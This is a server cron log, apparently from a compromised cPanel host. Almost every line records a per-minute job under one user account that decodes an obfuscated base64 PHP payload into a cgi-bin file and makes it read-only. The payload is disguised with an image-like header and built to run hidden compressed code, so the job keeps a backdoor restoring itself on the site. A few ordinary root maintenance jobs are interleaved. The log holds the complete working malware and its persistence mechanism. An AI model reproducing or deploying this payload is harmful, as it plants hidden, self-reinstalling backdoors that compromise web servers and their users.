Nov 11 06:50:01 server CROND[1445]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:51:01 server CROND[2309]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:52:01 server CROND[3195]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:53:01 server CROND[3971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:54:01 server CROND[4785]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:55:01 server CROND[5599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:55:01 server CROND[5598]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 06:55:01 server CROND[5600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 06:56:01 server CROND[6274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:57:01 server CROND[7084]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 06:57:01 server CROND[7085]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:58:01 server CROND[7998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 06:59:01 server CROND[9005]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:00:01 server CROND[9454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:00:01 server CROND[9456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 07:00:01 server CROND[9455]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 07:00:01 server CROND[9460]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 07:01:01 server CROND[10334]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 07:01:01 server CROND[10336]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 07:01:01 server run-parts(/etc/cron.hourly)[10336]: starting 0anacron
Nov 11 07:01:01 server run-parts(/etc/cron.hourly)[10347]: finished 0anacron
Nov 11 07:02:01 server CROND[10722]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
